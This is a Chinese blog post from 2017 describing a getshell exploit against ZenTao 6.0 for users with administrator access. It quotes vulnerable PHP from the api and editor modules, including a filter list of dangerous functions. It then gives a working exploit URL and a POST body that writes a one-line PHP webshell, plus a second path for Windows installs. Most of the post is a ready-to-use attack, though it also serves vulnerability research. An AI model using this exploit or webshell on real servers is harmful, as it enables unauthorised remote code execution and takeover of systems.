禅道6.0GetShell

最近做项目遇到的系统,无奈网上没shell的方法,于是就审计了一下.


条件:管理员权限

/xampp/zentaopro/module/api/control.php

public function getModel($moduleName, $methodName, $params = '')
{
    parse_str(str_replace(',', '&', $params), $params);
    $module = $this->loadModel($moduleName);
    
    $result = call_user_func_array(array(&$module, $methodName), $params);
    if(dao::isError()) die(json_encode(dao::getError()));
    $output['status'] = $result ? 'success' : 'fail';
    $output['data']   = json_encode($result);
    $output['md5']    = md5($output['data']);
    $this->output     = json_encode($output);
    die($this->output);
}

可以看到是进入了call_user_func_array,也就是我们可以任意实例化一个module方法,方法的参数也是可控的,可以通过,来分割参数

/zentaopro/module/editor/model.php

public function save($filePath)
{
    $fileContent = $this->post->fileContent;
    $evils       = array('eval', 'exec', 'passthru', 'proc_open', 'shell_exec', 'system', '$$', 'include', 'require', 'assert');
    $gibbedEvils = array('e v a l', 'e x e c', ' p a s s t h r u', ' p r o c _ o p e n', 's h e l l _ e x e c', 's y s t e m', '$ $', 'i n c l u d e', 'r e q u i r e', 'a s s e r t');
    $fileContent = str_ireplace($gibbedEvils, $evils, $fileContent);
    if(get_magic_quotes_gpc()) $fileContent = stripslashes($fileContent);

    $dirPath = dirname($filePath);
    $extFilePath = substr($filePath, 0, strpos($filePath, DS . 'ext' . DS) + 4);
    if(!is_dir($dirPath) and is_writable($extFilePath)) mkdir($dirPath, 0777, true);
    if(is_writable($dirPath))
    {
        file_put_contents($filePath, $fileContent);
    }
    else
    {
        die(js::alert($this->lang->editor->notWritable . $extFilePath));
    }
}

在editor中是可以写一个文件的,filePath可控,fileContent也是可控的,这下就是可以任意写一个文件.

最后的exp:

http://127.0.0.1/pro/?m=api&f=getModel&moduleName=editor&methodName=save&params=filePath=aaaaaa.php

POST内容:
fileContent=<?php $_POST[1]($_POST[2]);

最后的shell地址是\zentaopro\module\api\aaaaaa.php


最近发现windows下会有点问题,出现 ERROR: 'module/api/aaaaaa' illegal.,原因在于默认有htaccess的存在

<IfModule mod_rewrite.c>
  RewriteEngine On
  RewriteCond %{REQUEST_FILENAME} !-d 
  RewriteCond %{REQUEST_FILENAME} !-f 
  RewriteRule (.*)$ /zentao/index.php/$1 [L]
</IfModule>

可以改个位置写:

/zentao/?m=api&f=getModel&moduleName=editor&methodName=save&params=filePath=./../../www/data/2333.php

最后访问/zentao/data/2333.php即可

这里要注意,虽然页面返回为{"status":"fail","data":"null","md5",但是还是没问题的

posted @ 2017-03-29 02:26  l3m0n  阅读(487)  评论(0编辑  收藏  举报